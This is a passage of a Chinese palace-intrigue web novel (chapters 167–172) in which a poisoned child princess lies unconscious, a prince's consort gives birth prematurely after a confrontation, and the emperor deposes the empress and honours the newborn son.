司徒澈眼睛一亮,赶紧凑到她面前小声问道:“蕊蕊,爹爹要怎么救你才好?” 第167章 杀人灭口,毁尸灭迹 “先让太医…把峨眉刺拔出来…再…再拿着我的…奶瓶,就是我来王府…带着的那个…奶瓶,去…去云顶山…”唐蕊微拧着眉,吃力说罢,还不忘安抚司徒澈:“别…担心…我能撑…撑…一月…” 她虽然没有金蚕蛊,但她有赤赤。 早她察觉不对的时候,就让赤赤咬了她一口,以毒攻毒熬着了。 “好!爹爹这就去!”司徒澈重新看到希望,站起身来对太医道:“先给蕊蕊把峨眉刺拔出来!” “是!”院首赶紧行动。 司徒澈又看向几个兄弟:“各位兄长,我有事要立刻离开,麻烦你们,等院首替蕊蕊拔出峨眉刺后,送她与我的侧妃回府。” 司徒霄一脸冷漠,事不关己高高挂起。 辰王见他不语,不满的看了他一眼,接过话来:“你放心去,你不在的这段时间,我们会看着你的王府。” “对!”司徒泽也道:“七哥,你快去吧!你放心,我一定会查出凶手,给你一个交代!” “多谢!”司徒澈拱手,看了看唐蕊,又看了看顾若雪,见顾若雪点头,这才飞奔而去。 一个月时间,他必须在一个月之内,把神医请来! 司徒澈离开,太医也开始为唐蕊拔峨眉刺。 唐蕊痛得直抽抽,几个王爷紧张得一比,不停让院首慢些。 顾若雪默默流泪,紧紧拽着帕子! 司徒霄冷漠的看着这一幕,良久…转身默默离开。 来到前院,司徒谨走了过来,眼里天真不在,只剩阴郁。 司徒霄看着这个儿子,眉梢微扬:“你干的?” 司徒谨垂下眼眸:“儿子只是听皇奶奶的话,儿子什么都不知道。” 司徒霄笑了笑,心里已经有了数:“当心,可别让人抓到你的小辫子。” 司徒谨拱手:“父王放心,知情者都开不了口了。” “那就好,走吧,回宫!”司徒霄心情很好。 司徒谨眯起眼眸,看着他的背影,沉吟片刻还是跟了上去。 不知道是不是想开了,看透了,他也发现了很多有趣的地方。 比如他的好父王,在皇奶奶面前就像是个没出息的大孩子。 皇奶奶想杀唐蕊,他还一脸不忍心。 可现在… 司徒谨勾唇一笑,意味深长。 原来,谁都有两副面孔,他的父王也是。 就算是对他最好的亲娘,他也会防备、利用! … 司徒澈回到府中,找到唐蕊那个脏兮兮的奶瓶,骑着快马朝云顶山去了。 几个王爷等院首拔出峨眉刺,处理好唐蕊的伤口后,也相约着一起送她与顾若雪回府。 司徒泽开始拷问那些喜婆和喜房里的奴婢。 好好的婚礼,变成这个样子,谁心里都不好受,当事人更是。 司徒泽非常火大,对这些婆子和奴婢一点也不留情。 终于,喜婆受不住酷刑,吐出了一丝线索:“郡主来了以后,饿了,老奴就让桃儿去膳房给郡主拿吃的,可桃儿去了就一直没回来…王爷,老奴真的冤枉啊…” 桃儿? 司徒泽眉头微蹙,得到信息后,让人满府找桃儿。 然而,等他找到以后,桃儿已经溺死在莲花池里了。 司徒泽气得要死,依旧不死心,打听到桃儿还有家人后,骑着快马按照地址找上门。 结果他刚到,就看到远处火光冲天。 小小的瓦屋已经起火,很多街坊百姓都在救火! 司徒泽拉着个百姓问桃儿的家。 “桃儿?哎呀,起火的这家就是啊!”那人扔下这话,提着水桶冲了上去:“快,快救火!” 司徒泽:“…”看着起火的瓦屋,脸色无比阴沉! 线索,也彻底断了! … 唐蕊打扮得漂漂亮亮出门去,结果被顾若雪抱着回来,昏迷不醒,脸色惨白。 府里一众女人吓坏了,秦芷嫣腿一软,差点一屁股坐在地上。 还好身边的徐嬷嬷给力,赶紧扶住了她:“王妃,您当心自个儿的身子啊!” “蕊…蕊蕊…快,快…”秦芷嫣一声呜咽,眼泪夺眶而出,快步踏入房中。 顾若雪垂下眼眸,很是难受:“姐姐,对不起,我没照顾好蕊蕊。” “怎么回事,到底怎么回事?”秦芷嫣急得直哭:“你们不是去九皇弟府上了吗?为什么会变成这样?” 朱侧妃也道:“是啊,我听下人说,刚刚王爷急匆匆的跑回来,进了蕊蕊的房中,没一会儿又离府了,到底发生了什么事啊!” “是这样…”顾侧妃深吸一口气,把事情经过告诉了她们。 几个女人听完捂着胸口,脸色发白。 张庶妃皱眉道:“峨眉刺?婚床上为什么会有峨眉刺?蕊蕊滚床的时候,你就没好好检查一下吗?再说了,就算有峨眉刺,蕊蕊这一滚也很难被扎到啊,除非有人故意的,找到那个人了吗?” 顾若雪摇了摇头:“抱歉,我也没想到婚床上会出现峨眉刺,所以…晋王还在查,还不知道是谁。” 朱侧妃瞪着顾若雪,一腔怒火无处发泄:“顾若雪,你不是最心细吗?要是你好好检查了,蕊蕊也不会变成这样!” “还中了毒,可怜见的。前面被拐,现在又遭这份罪…”李庶妃说着说着又落泪了。 “东宫,肯定是东宫的人干的!司徒霄今天不也去了晋王府吗?”秦芷嫣后知后觉反应过来,挺着大肚快步走出房门。 院中,几个王爷还没离开,不时焦急的往里看。 秦芷嫣上前几步,说出来的话都带着一丝咬牙切齿的意味:“司徒霄呢?他今天可有什么可疑的举动?” 几个王爷:“…” 好家伙,以前还会给点面子喊太子,现在直呼其名了,看来是真被气狠了。 不过话又说回来,司徒嫱曾经让人拐走过唐蕊,东宫的人有前科,说不定这事还真跟他们脱不了关系。 辰王仔细回忆了一下,遗憾摇头:“七弟妹,我知道你很着急,但凡事要讲证据!太子今晚并无不妥之处,去婚房也是跟我们一起,那时候昭华已经受伤了。” 睿王也道:“确实,太子并无不妥之处,至于谨哥,他也没什么不妥,而且昭华救过他的命,他也不是个会恩将仇报的孩子。” 第168章 动了胎气,生产 分“那可说不准!”秦芷嫣咬牙切齿道:“歹竹出不了好笋,司徒谨和司徒嫱素来要好,他要是把司徒嫱的死算在蕊蕊身上,也不奇怪!” “…”这…是否太过偏激? 辰王看向睿王:“刚刚在九弟府中,我还见你跟谨哥说话了,他有没有什么可疑之处?” “可疑是没什么可疑,他也没跟九弟府中其他人接触过,就是…就是…” 睿王微拧着眉,仔细回忆了一下才不确定道:“就是…他看起来和平时有些不太一样,太过冷漠,对周遭的一切都不关注,和以前他判若两人,我当时还想着,应该是嫱姐的死对他打击很大。” “打击这么大,他难道就不想找蕊蕊报仇吗?肯定是他!”秦芷嫣又急又气,对东宫的人恨到了极致。 辰王无奈道:“七弟妹,本王知道你很着急,但凡事要讲证据,九弟已经在查了,要是有什么线索,一定会如实相告的。” 就在这时,一个奴婢快步而来:“王妃,皇后娘娘突发头疾,让您入宫侍疾!” 秦芷嫣正一肚子火没地撒呢,狠狠道:“怎么不疼死她呢,我挺着这么大的肚子还让我去侍疾,怎么的?这是害了蕊蕊不够,还想害我肚子里的孩子不成?” 睿王吓了一跳:“七弟妹,慎言啊,那可是母后!” “她也配!”唐蕊变成现在这个样子,秦芷嫣一腔怒火无处发泄,连偏心的皇后也一并恨上了:“去告诉宫里来的人,本妃有孕在身,皇后若是硬要本妃去伺候,就去请父皇的圣旨,若是父皇也觉得本妃该入宫侍疾,那本妃就去!” “啊?这…这…”小侍婢听着两个主子狂妄的言语,小脸发白,瑟瑟发抖。 秦芷嫣却瞪着她:“没听到吗?照实说,一个字都不准落下!” “是!”小侍婢应了一声,溜了溜了。 “哟,璃王妃好大的架子啊!”女人傲慢的声音传来。 秦芷嫣抬眸看去,危险的眯起眼眸。 来人竟是皇后身边的素锦,除了她,还有很多小太监! 跟进来的侍卫垂下眼眸:“王妃娘娘,素锦姑姑硬要往里闯,属下…” “下去领罚去,什么人都放进来,王府养着你们是干什么吃的?” 秦芷嫣一声呵斥,侍卫郁闷极了。 素锦危险的眯起眼眸:“璃王妃,皇后娘娘不仅是你的婆母,还是一国之后,你为她侍疾,这是天经地义的事!请璃王妃,跟奴婢走一趟吧!” 若是以前,秦芷嫣还会给素锦一点面子,和皇后维持表面的婆媳关系。 可现在,她谁都不想惯着:“你还知道你是一个奴婢啊?本妃说了,有孕在身,行动不便,皇后若硬要本妃入宫侍疾,那就去请父皇的圣旨!” 素锦冷声道:“璃王妃,这是要违抗皇后娘娘的懿旨吗?” 秦芷嫣气笑了:“懿旨?懿旨重要还是圣旨重要?送客!” “大胆!”素锦怒喝一声。 秦芷嫣半点不让,直接吼了回去:“你才大胆,一个小小的贱婢,真把自己当母后了?哪儿来的胆子跟本妃这么说话?宫规都学到狗肚子里去了吗?” “你…”素锦没想到一向胆小软弱的璃王妃这么刚硬,气得浑身发抖。 辰王瞥了一眼素锦身后那些小太监,淡淡说道:“素锦姑姑带这么多宫人闯入璃王府,是准备强行把堂堂璃王妃绑进宫里去么?要是如此,本王也不会坐视不理。” 襄王赶紧道:“本王也不会,贱婢,你动七弟妹一下试试,看本王揍不揍你就完了。” 睿王可没几个兄弟胆子那么大,默默缩到辰王身后,底气不足跟着说了一句:“你要是敢动七弟妹,本王…本王就进宫告诉父皇去!” “你们…”素锦没想到他们几个竟然都不把皇后放在眼里,脸色阴沉无比:“璃王妃,奴婢也是奉命行事,要是璃王妃不入宫侍奉,就别怪奴婢胆大犯上了。” “你们还愣着做什么?请璃王妃入宫!”素锦一声招呼,她身后一溜串小太监齐齐冲向秦芷嫣。 秦芷嫣没想到这贱婢胆子这么大,怒急攻心,腹部传来一阵绞痛。 她脸色痛苦,捂着肚子弯下腰去。 身边的徐嬷嬷脸色大变,赶紧扶住了她:“王妃,王妃,你怎么了啊?” “肚子,好痛…”秦芷嫣靠在她身上,只是一会儿,脸都白了。 这样的变故谁都没想到,小太监们齐齐停了下来,面面相觑。 “王妃姐姐…”顾若雪从屋里冲了出来,与徐嬷嬷一起扶着她:“怎么了?是不是要生了?” “我…不知道,好痛…”秦芷嫣说话都开始吃力了,不过瞬间,额头布满了密密麻麻的细汗。 另外几个女人也都跑了出来,李庶妃神色惊慌,赶紧推了福宝一把:“快,快去请府医,还有王爷一早请入府中的稳婆,快…” 福宝点点头,赶紧跑了。 张庶妃气不过,快走几步来到素锦面前,抬手就是一个大逼兜子。 素锦都被打懵了,捂着脸不敢置信的看着她:“你…你敢打我?” 张庶妃闻言又是一脚踹了过去。 素锦倒飞出去,倒在地上,张口吐出一口血来。 张庶妃一掀衣摆,转身看向几位王爷:“素锦姑姑惊了璃王妃的胎,此事有目共睹,若是皇上问起,还望几位王爷如实告知。” “自然!先把七弟妹扶回去,你们放心,七弟不在,我们会一直在这守着,直到七弟妹瓜熟蒂落为止。”辰王说到这,冷冷的看向素锦:“谁,都带不走她!” “多谢辰王!”张庶妃转身也去扶秦芷嫣。 可徐嬷嬷这时看到秦芷嫣身下的衣裙已被血染红,神色惊恐起来:“血…血啊…” “府医,府医还没来吗?”几个女人急得不行。 几个王爷也很着急,但此时也不宜去看,只能恶狠狠的瞪着素锦! 素锦被他们看得,浑身发毛。 作为皇后身边的大宫女,不管走到哪里,谁都会给她三份薄面。 可现在… 第169章 小世子降生 “你们、你们等着,此事…此事奴婢一定会如实告知皇后娘娘!”素锦扔下这句狠话,爬起身来,在一溜串太监的搀扶下一瘸一拐离开了。 襄王气得…左右看了看,捡起草丛里一块石子,用力朝她扔去。 石头神准的砸在素锦头上,砸得她眼冒金星,差点摔倒。 她回头瞪了襄王一眼,走得更快了。 很快,府医和稳婆来了。 秦芷嫣是女子,几个王爷和王府的家丁侍卫都不敢碰她,女子又没那么大的力气抬走她。 无奈之下,只能扶她进了唐蕊的房中生产。 可也不知道是被气到了,还是担心唐蕊,秦芷嫣这胎迟迟生不下来。 几个女主子全都在房中,眼眶红红,想帮忙却又帮不上。 几个王爷在院外等着,也很着急。 屋漏偏逢连夜雨,司徒澈不在,唐蕊身中剧毒,秦芷嫣又难产。 要是出了什么事,司徒澈回来后他们要如何交代? 刚刚他们就该动手,把素锦打出去的。 屋里秦芷嫣的惨叫声,一声又一声,越来越无力。 血水一盆一盆往外端,喜婆们手忙脚乱。 有个年长的喜婆,检查了一下秦芷嫣的肚皮,脸色微变,微微颤颤跟几个女人道:“几位女主儿,王妃娘娘胎位好像…不正啊…” “胡说八道什么?”顾若雪一听这话急了:“一直都有蕊…高人帮王妃姐姐安胎,王妃姐姐的胎位很正,绝对没问题。” 稳婆笑得比哭还难看:“之前小的也检查过,确实没问题,可现在胎位不正了,小的估摸着,是心情激动,受了惊吓,这胎儿是活的,也会受到影响乱动啊…” 朱侧妃怒道:“你少唬我们,王妃姐姐这胎绝对不能出问题,不然本侧妃饶不了你!” 稳婆:“…”这不是为难我这老婆子吗? 早知道璃王府的银子这么难挣,她就不该来! “庶母…庶母…”唐蕊微弱的声音响起。 顾若雪听到了,转身看向床榻。 只见刚刚还在熟睡的唐蕊不知何时睁开了眼睛,黝黑的眸子正看着这边。 “蕊蕊…”顾若雪快步来到床边,眼睛一眨不眨:“好些了吗?还痛不痛…” “还好哦…”唐蕊转动眼珠,看向软塌上已经发不出声的秦芷嫣,又开口道:“把稳婆…叫来…” “好,稳婆,你过来!” 顾若雪一开口,稳婆赶紧走了过来,其他几个女人也发现唐蕊醒了,齐齐围了过来,嘘寒问暖。 唐蕊扯了扯嘴角,安抚了她们几句,这才看向稳婆:“你…伸手进去…把胎儿…位置扶正…” “啊?”稳婆惊呆了:“这…伸手进去?” 唐蕊闭了闭眼:“对,你的手记得…消毒,我…我妆匣第一个抽…抽屉…有消毒粉…” 稳婆还在懵逼中! 顾若雪却已经来到妆台前,拉开抽屉,找到了写着消毒粉三个字的纸包塞给她了:“快,按照蕊蕊说的去做。” “是…是…”稳婆擦了擦脑门的冷汗,硬着头皮答应下来。 唐蕊嘱咐完这些,似乎用尽了最后的力气,再次陷入沉睡。 几个女人吓了一跳,赶紧抱着她出去找府医。 刚回到自己房中的府医:“…” 一刻都不消停啊! 璃王府今晚鸡飞狗跳,还好有了唐蕊的吩咐。 几个王爷在院外一直守到卯时一刻。 终于… “哇…” 婴孩的啼哭声响彻夜空。 几个王爷齐齐起身,心里一块打石头落了地。 生了! 终于生了! 老天爷,自己王妃生孩子,他们都没这么担心过。 屋里几个女人也差不多,担惊受怕一整晚,现在终于松了一口气。 除了张庶妃,几个女人才后知后觉反应过来,腿软… “恭喜王妃,贺喜王妃,是位小世子…”稳婆连声道喜。 秦芷嫣太虚弱了,只来得及看了一眼孩子,意识便彻底陷入黑暗。 此举让几个刚刚放松下来的女人吓得又直挺挺的站了起来。 稳婆赶紧道:“各位主儿放心,王妃娘娘只是太累,睡过去了,等她睡醒了,就好了。” “好…好…”顾若雪扶着椅子坐下,这才有空去打量那个孩子。 皱巴巴的,像个小老头,还不是她的孩子。 有点看不惯! 但…一想到这个是司徒澈的孩子,她的心又柔软下来,小心翼翼接过孩子:“真可爱,可惜了,王爷不在,都不能给他取名字。” 朱侧妃无语:“你傻了是不是?这孩子是王爷的嫡子,名字肯定是父皇取啊!” “你说得也对!”顾若雪抿唇一笑,轻轻握着小奶娃的小手手:“皱巴巴的呢,还这么红,就像一只红皮猴子。” 稳婆笑道:“刚出生的孩子大多都是这样的,等过一两个月就白嫩了。王妃娘娘貌美如花,璃王爷俊美非凡,小世子呀,以后肯定也是一位俊美的少年郎呢!” “是啊!”顾若雪觉得这话很对,司徒澈的孩子,肯定丑不了的。 “给我抱抱!”张庶妃默默凑了过来。 李庶妃和朱庶妃也凑了过来。 皱巴巴的小崽崽双眼紧闭,似乎知道他成了大人们争抢的玩具,嘴巴一瘪,哇的一声哭了出来。 几个女人方了,把崽子递来递去,可崽子依旧哭个不停。 顾若雪这才想起奶娘,赶紧让人把司徒澈早就备好的奶娘叫了来。 可奇怪的事发生了,小崽子喝奶的时候是不哭,等他喝饱了,依旧使劲哭。 奶娘怎么哄都哄不好,顾若雪心烦意乱,语气有些不好:“你到底会不会看孩子?” 奶娘吓得顺手把孩子放在床边,赶紧跪下了。 还不待她解释,刚刚还哭闹不止的小崽子,居然不哭了? 奶娘:“…” 几个女人:“…” 面面相觑一番后,顾若雪又试着把崽子抱离唐蕊身边。 好家伙,才安静下里的崽子,又嚎起来了。 朱侧妃算是看懂了,赶紧说道:“小世子肯定是喜欢蕊蕊,你快把他放下。” 顾若雪将信将疑,把小崽子放回唐蕊身边。 很好! 哭声秒止! 懂了! 李庶妃抿唇一笑:“原来,小世子是喜欢蕊蕊呀!” 第170章 皇帝亲临 “可蕊蕊现在…” 顾若雪眼角扫到床上已经陷入昏迷的唐蕊,心顿时像是被人泼了一盆冷水,眼睛发酸。 爷,您有儿子了。 可蕊蕊…还不知道会怎样… 快点回来好不好,求您! … “驾!” “驾!” 黑马在夜色中急速奔驰,雪白的四蹄都轮出了残影,就像是黑夜中划过的银白闪电。 司徒澈紧抿薄唇,急速赶路。 马儿突然嘶鸣一声倒下,滑出去很远。 司徒澈眼疾手快凌空跃起,稳稳落地,惊诧的看着累到极致的马儿。 马儿亦看着他,眼底似乎隐隐有水光。 司徒澈沉吟片刻,来到它身边蹲下,伸手摁住它的大长脸:“逐月,抱歉,蕊蕊危在旦夕,我必须快点赶到神医谷,不然蕊蕊她…再坚持一下好不好?至少送我去前面城中。” “咈哧咈哧…”马儿似乎听懂了他的话,挣扎着重新站了起来。 “多谢!”司徒澈重新翻身上马,疾驰而去,身影逐渐消失在夜色之中。 … “皇上,您可算醒了…” 宫中,一直守在皇帝身边的陈德福见皇帝睁开了眼睛,赶紧上前:“禀告皇上,璃王妃昨夜诞下一子,母子平安!” “什么?”皇帝瞬间清醒,翻身而起:“为何不早点叫醒朕?” 陈德福一脸为难:“皇上,您政务繁忙,最近又常常失眠,好不容易睡着了,老奴也不敢扰您清梦啊!” “糊涂,小七好不容易有了儿子,这是天大的喜事,你这老刁奴…等等…” 皇帝后知后觉发现了不对,疑惑问道:“小七家的不是才八个多月吗?为何就生了?” “这…是皇后娘娘身边的素锦…” 陈德福没敢隐瞒,一五一十把调查来的消息告知皇帝。 皇帝听完勃然大怒:“她还是不是人?小七家的有孕八月,她还让她进宫侍疾?” 陈德福可不敢说皇后的坏话,而且…还不止秦芷嫣的事呢… 陈德福眼一闭,突然给皇帝跪下了:“皇上,还有昭华郡主,晋王殿下昨夜新婚,昭华郡主受托去给他滚床,结果…床上有峨眉刺,那峨眉刺就直直的插入了昭华郡主的腰部,上面还有剧毒芙蓉殇,如今昭华郡主危在旦夕,璃王殿下似乎已经找到方法,匆匆回府后就离开了。不然…也不会被皇后娘娘钻了空子!至于暗害昭华郡主的凶手…至今还没未找到…” “混账!”皇帝勃然大怒! 陈德福吓了一跳,反射性垂下脑袋! 皇帝脸色阴沉,第一次对皇后生出了杀意。 就算没证据,他也能猜到,这事肯定就是皇后的手笔。 这个毒妇! 看在她的份儿上,他一次次宽容,一次次放过她。 可她的胆子却越来越大,竟敢把毒手伸向司徒澈一双儿女。 皇帝深吸一口气,闭了闭眼,良久… 再次睁开眼眸,皇帝眼底满是肃杀之色:“陈德福,传朕旨意,皇后无德无能,心肠歹毒,安能母仪天下?既然她身体不好,到了需要人侍疾的地步,相信胜任皇后之位是有心无力,那就降为姜妃。凤仪宫乃中宫之地,她既不是皇后,凤仪宫也没必要待了,移居云华宫!” 陈德福猛的抬起头,脸都白了:“皇上,废后可是大事啊,望皇上三思!” 他真不是为皇后说话,而是皇后乃一国之母,突然被废掉,朝臣们肯定会惶恐的。 皇帝定定的看着他,吐出冰冷的四个字:“朕意已决!” “是…是…”侍奉皇帝多年,陈德福了解他,知道他只要说出这四个字,那就是铁了心的要废后。 唉… 皇后啊皇后,您说您好好的,为什么非要作死呢? 现在好了,后位都作掉了。 陈德福叹息一声,站起身来:“皇上,还有一事,辰王来了,就在殿外侯着,已经等了有一会儿了。” “叫他进来!”皇帝一开口,陈德福赶紧把辰王请了进来,然后按照皇帝旨意去准备废后诏书了。 “父皇万安!” 辰王行过礼后,皇帝让他起身:“这么早来,有事找朕?” “是关于七皇弟府中之事,不过儿臣刚刚在殿外,已经听到父皇的决定了。”辰王单膝跪下,很是认真道:“父皇圣明,皇后针对七皇弟之事,昭然若揭,若是继续放任,对七皇弟未免太过不公!” “朕知道!”皇帝疲惫的揉了揉眉心:“昭华如何?小九不是在调查此事,真就没一点线索?” 辰王眼底一暗,摇了摇头:“贼人狠辣,没有留下一个活口,线索也断了。” 皇帝心烦意乱,干脆站起身来:“来人,更衣,朕要亲自去一趟璃王府!” 皇帝担心唐蕊,破天荒的免了今日早朝,身着便服来到璃王府。 璃王府几个女人惊得下巴都要掉了,齐齐跑出来迎接圣驾! 皇帝免了她们的礼,单刀直入:“昭华呢?” “回父皇,昭华还昏迷着…”朱侧妃刚说一句,就忍不住落泪。 顾侧妃赶紧接过话来:“回皇上,昭华在翠微阁,我们已经请了太医,轮番照看,只是…昨夜王妃姐姐动了胎气,是在昭华房中生产,虽然我们刚刚已经把她送回了自己院子,但…产房污秽…” “无碍!”皇帝打断她的话:“带路,朕要去看看昭华,把小七的儿子也抱来给朕看看!” “是…”顾侧妃给几个女人使了个眼色后,赶紧在前面带路:“小世子就睡在蕊蕊身边的…” 这是皇帝第一次来唐蕊院中,本以为大家闺秀住的地方,也都大同小异。 没曾想,他刚踏入院儿中,还没走几步呢,就踩到了什么。 皇帝低头一看,眼睛都瞪直了。 只见一条绿色小蛇在他脚下,正抬起小脑袋有气无力的看着他。 “为何院里有蛇?”皇帝老脸一黑,第一时间认为,唐蕊在家中肯定受了虐待。 顾若雪一听就知道他误会了,赶紧解释:“回父皇,这些都是蕊蕊捣鼓的东西,您瞧…” 说着,她指了指角落那一排排陶罐,其中有几个陶罐已经破了,几只和小蛇一样状态的蜘蛛有气无力趴在地上,隔好久才会动一下jiojio。 第171章 司徒辉泽 顾若雪神色黯然:“蕊蕊喜欢养蛊,据她说,这些破罐而出的蛊都是失败品,会死,也早就耗尽了毒素,对人无碍。平时蕊蕊都会及时处理这些东西,可现在她昏迷不醒,所以…” 好好翠微阁,隐隐有朝神医谷发展的趋势,快变成热带雨林了。 皇帝:“…”臭丫头,都昏着了,还要吓朕! 别的女子的闺阁干干净净,清幽雅致,要么就是百花齐放,美艳非凡。 你倒好,别具一格,满院儿都是蛇虫鼠蚁! 皇帝轻咳一声,默默挪开jio,继续往前走。 只是比起刚刚双手背负昂首挺胸目空一切的样子,现在多了一份谨慎,眼眸垂下,左右乱瞟! 终于,进了屋,皇帝看着床上那个奄奄一息的小女娃,眼底划过一丝心疼:“就这么一直昏睡着?不曾进食?” 顾若雪摇了摇头:“一直没醒,我们一点点喂她喝一些水…” 说到这里,顾若雪红了眼眶,别过头去默默拭泪。 皇帝叹息一声,又问:“小七没在府中,应当是有了救昭华的法子,你们不必着急。” 对于自己最爱的孩子,是人都有一种蜜汁自信。 司徒澈从小到大都没让他失望过,这次肯定也不会。 顾若雪微微颔首,还是难掩忧心。 皇帝视线左移,落到唐蕊身边的小豆丁身上。 小小软软的一团,脸颊红红,皱巴巴的,看上去有些丑,紧紧挨着唐蕊,小嘴还不时蠕动。 但…皇帝却觉得,这个孩子,是世上最可爱的孩子。 皇帝笑呵呵的伸手去抱小猴子。 结果,小猴子刚离开唐蕊身边,嘴巴一瘪,竟然哇的一声哭了出来。 顾若雪赶紧道:“皇上,小世子也不知道怎么了,特别喜欢蕊蕊,一离开她身边就哭个不停,我们几个没办法,只能把他放在蕊蕊身边。” 皇帝一脸懵逼,试探着把崽子放回去。 很好! 不哭了! 皇帝:“…”有点邪门啊! 皇帝不信,再次抱起崽子! “呜哇…哇…”崽子再次哭嚎。 皇帝赶紧又把孩子放了回去。 嘿? 还真是? 皇帝觉得很有意思。 顾若雪怕他多想,默默说道:“也许,蕊蕊真是天上下凡来历劫的仙女吧,就算是刚出生的孩童都喜欢她,也是蕊蕊来了之后,王府才慢慢好起来了。” “朕知道,你也别担心,昭华自有苍天庇护!哈哈哈…” 皇帝掀开衣袍坐在床边,伸出手指轻轻戳了戳小崽子的脸,思索了好一会儿,才郑重决定名字:“顾盼生辉,福泽万世。以后,你就叫司徒辉泽,封号旭麟,赐封地荆州,食邑万户!” 顾若雪脸色一变,赶紧跪下:“父皇,这…” 皇帝抬手打断了她的话,意味深长的说了一句:“他配得上!” “是…”顾若雪心里掀起惊涛骇浪,开始为司徒辉泽的未来担忧了。 辉泽辉泽,顾盼生辉,福泽万世… 这…这这这…皇帝的意思简直不要太明显了,这是完全把小辉泽当皇太孙了啊! 皇后和东宫那边要是知道,又该生出歹意了。 像是察觉到她的担忧,皇帝叹息一声,开口说道:“你祖父,常在朕面前夸你,说你聪慧,凡事一点就透。不要担心,朕既然给辉泽取这样的名字,就会护着他!影主!” 一道黑影从房梁上一跃而下,单膝跪地,银色面具在烛火下散发着幽冷的光。 皇帝笑道:“以后,你就隐在暗处,贴身保护小世子。” “是!”影主应下,身影一闪如鬼魅般消失。 顾若雪:“!!”连龙隐卫隐主都给了? 这是对辉泽抱了多大的期望啊? “好了,朕走了,你也不必担心皇后,朕的圣旨,很快就会下来了。”皇帝又戳了戳小辉泽的脸蛋,这才笑着起身离开。 “恭送父皇…”顾若雪深吸一口气,努力平复心绪。 看样子,皇帝是真的属意司徒澈为储君了,太子被废也是早晚的事。 皇后不会善罢甘休的,司徒霄也得解决,不然还不知道他会干什么事来。 不行,不能着急! 顾若雪叫来奶娘,让她好好照顾两个孩子,这才离开,去找其他女人商量对策了。 她没发现,她刚走没多久,辉泽小奶娃就吃力的睁开眼睛,好奇的打量着唐蕊。 可他年纪太小了,只看了一会儿,就忍不住困意,又迷迷糊糊睡了过去。 … 天亮,清冷的街道开始热闹起来。 夏日炎炎,也只有这个时候,和太阳落山的时候,街上最为热闹了。 百姓们与往常一般,趁着烈日还未升起,出门采购一天所需。 也是这个时候,一道圣旨如炸弹般在京都炸响。 堂堂皇后,一国之母,被贬为妃! 百姓哗然! 朝臣们大惊失色,赶紧穿戴整齐入宫。 司徒霄与太子党更是迅速,早就一个个跪在勤政殿门前,请求皇帝收回旨意了。 可勤政殿大门紧闭,皇帝直接不见。 而收到圣旨的姜皇后,怒急攻心,一口血喷了出来,软软的倒了下去。 凤仪宫一片鸡飞狗跳,还不得不搬离。 皇后醒来时,已经中午。 烈日炎炎,毒辣得很。 她顾不上自己的身体,甚至都没心思梳妆打扮,匆匆来到勤政殿前。 门口太子党早就跪了一地,看到她纷纷行礼。 姜皇后…不,现在应该叫她姜妃了。 姜妃一掀开衣摆,对着勤政殿跪下,高声质问:“皇上,臣妾与您夫妻多年,有何过错?为何要废掉臣妾?” 紧闭的殿门寂静无声。 皇后却不死心,依旧一声一声质问。 或是觉得烦了,没一会儿,殿门打开,陈德福走了出来:“姜妃娘娘,皇上让老奴给您带话,您做了什么,您自己心里清楚。” 姜妃泪如雨下,嘴里却还在高喊:“皇上,臣妾真的不知道啊,臣妾为后多年,矜矜业业,您废了臣妾后位,臣妾不服,朝臣不服啊!” 她一开口,太子党们也纷纷呜呼哀哉:“皇上,国母无大错,不可废后啊!” 第172章 心思各异 司徒霄神色悲痛,高声开口:“父皇,母后可是您的妻子,多年来操持后宫,没有功劳也有苦劳啊,您为何要废了她?” 陈德福一脸为难。 皇后期期艾艾,委屈拭泪。 朝臣们叽叽喳喳。 不知过了多久,里面皇帝的声音传来:“姜妃,朕现在不想见你,现在你回去好好修养,就还是姜妃,若你再闹,就降为嫔。” 姜妃闻言脸色一僵,无力的跌坐在地。 鬼叫的朝臣们也像是被按下了暂停键,纷纷闭嘴! 姜妃缓过神,还想说什么,司徒霄却拦住了她:“母后,先回去吧,若是和父皇之间有什么误会,等父皇气消了再说?” 皇帝现在不给姜妃一点颜面,姜妃要是再刺激他,他一怒之下废了自己的太子之位,那一切就完了。 姜妃也看懂了他想说的话,扶着他的手微微颤颤站起身来,眼底绝望与怒意来回交织。 她深深的看了一眼紧闭的殿门,被司徒霄扶着,失魂落魄转身离开。 太子一党的朝臣们面面相觑,这一刻很多人都达成了共识。 皇帝这是铁了心的想废太子的节奏啊,不能再站太子了。 很多太子党的朝臣脑子纷纷活跃起来,把所有王爷都想了个遍。 但也有少数朝臣,与太子利益捆绑,无奈之下只能坚定自己的选择。 … 废后的余威还没过去,第二日,又是一道新鲜出炉的圣旨炸响京城。 璃王嫡子诞生,皇帝赐名辉泽,封号旭麟,赐封地荆州! 这道圣旨比废后的圣旨还要炸裂。 别说文武百官和百姓们,就连几个王爷都惊呆了。 … 辰王府! 辰王站在窗边,看着碧蓝的天空,不知道在想些什么。 辰王妃来到他身后,眼底满是心疼与担忧:“王爷,您已经在这站了小半天了,妾身特意让小厨房做了您最爱吃的四喜丸子。” “嗯…”辰王没动,依旧保持着那个姿势。 良久,他才长长的叹息一声,不知道是在问自己,还是在问辰王妃:“本王是不是…哪里都不如小七?” 辰王妃就知道他在烦这个,神色无奈:“王爷,在妾身心里,您是天下最好的男儿。但在父母心中,总是很难做到一碗水端平的。就像您更看重郯儿一样,父皇,也有最看重的那个孩子。” “是啊…”辰王苦涩一笑:“从小到大,父皇总是偏爱小七,对我们这几个儿子,态度都很淡漠。一开始我还以为是自己不够好,所以一直认真念书,拼命学武,可…不管再怎么努力,父皇的眼里还是没有我…庶子…终究是庶子…” “王爷…”辰王妃真的很心疼这个男人,来到他身后,伸手环住他的腰,脑袋靠在他后背:“太子也是嫡子,父皇不也不喜欢?父皇不是看重嫡庶的人,七皇弟本就优秀,坐上那位置定会成为一代明君。王爷不光是父皇的儿子,还是大夏的辰王,只要百姓衣食富足,安居乐业,这就够了,不是吗?至于王爷您,以后可以好好辅助七皇弟,哪怕做不成明君,也能成为一代贤王,被百姓记在心中,歌功颂德,名垂千古呀!” 辰王握住她的手,淡淡一笑:“你说得对,本王不是非要坐那个位置,只要在那个位置上的是明君,这就够了。” 若他与司徒澈兄弟阋墙,苦的也是大夏百姓,动摇的也是司徒家的江山。 想要名垂千古,不是非要做皇帝,他也可以做辅助君王的一代贤王! 可这心里…终究有些不甘… … 睿王府! 睿王一脸苦逼的来找睿王妃,可半天又憋不出一个屁。 自从流产,睿王妃对睿王也有了芥蒂,见他一直不走,皮笑肉不笑道:“王爷来妾身这坐了这么久,却一句话都不说,这是为何?” 